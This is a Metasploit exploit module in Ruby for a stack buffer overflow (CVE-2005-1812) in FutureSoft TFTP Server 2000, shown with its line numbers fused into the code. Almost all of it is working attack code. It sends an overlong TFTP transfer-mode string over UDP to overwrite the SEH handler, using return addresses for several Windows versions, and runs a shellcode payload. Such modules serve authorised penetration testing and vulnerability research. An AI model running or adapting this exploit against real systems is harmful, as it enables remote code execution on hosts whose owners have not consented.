Path: blob/master/modules/exploits/windows/tftp/futuresoft_transfermode.rb
19534 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = AverageRanking78include Msf::Exploit::Remote::Udp9include Msf::Exploit::Remote::Seh1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'FutureSoft TFTP Server 2000 Transfer-Mode Overflow',16'Description' => %q{17This module exploits a stack buffer overflow in the FutureSoft TFTP Server182000 product. By sending an overly long transfer-mode string, we were able19to overwrite both the SEH and the saved EIP. A subsequent write-exception20that will occur allows the transferring of execution to our shellcode21via the overwritten SEH. This module has been tested against Windows222000 Professional and for some reason does not seem to work against23Windows 2000 Server (could not trigger the overflow at all).24},25'Author' => 'MC',26'References' => [27['CVE', '2005-1812'],28['OSVDB', '16954'],29['BID', '13821']3031],32'DefaultOptions' => {33'EXITFUNC' => 'process',34},35'Payload' => {36'Space' => 350,37'BadChars' => "\x00",38'StackAdjustment' => -3500,39},40'Platform' => 'win',41'Targets' => [42['Windows 2000 Pro English ALL', { 'Ret' => 0x75022ac4 } ], # ws2help.dll43['Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ], # ws2help.dll44['Windows NT SP5/SP6a English', { 'Ret' => 0x776a1799 } ], # ws2help.dll45['Windows 2003 Server English', { 'Ret' => 0x7ffc0638 } ], # PEB return46],47'Privileged' => true,48'DisclosureDate' => '2005-05-31',49'Notes' => {50'Reliability' => UNKNOWN_RELIABILITY,51'Stability' => UNKNOWN_STABILITY,52'SideEffects' => UNKNOWN_SIDE_EFFECTS53}54)55)5657register_options(58[59Opt::RPORT(69)60]61)62end6364def exploit65connect_udp6667print_status("Trying target #{target.name}...")6869sploit = "\x00\x01" + rand_text_english(14, payload_badchars) + "\x00"70sploit += rand_text_english(167, payload_badchars)71seh = generate_seh_payload(target.ret)72sploit[157, seh.length] = seh73sploit += "\x00"7475udp_sock.put(sploit)7677handler78disconnect_udp79end80end818283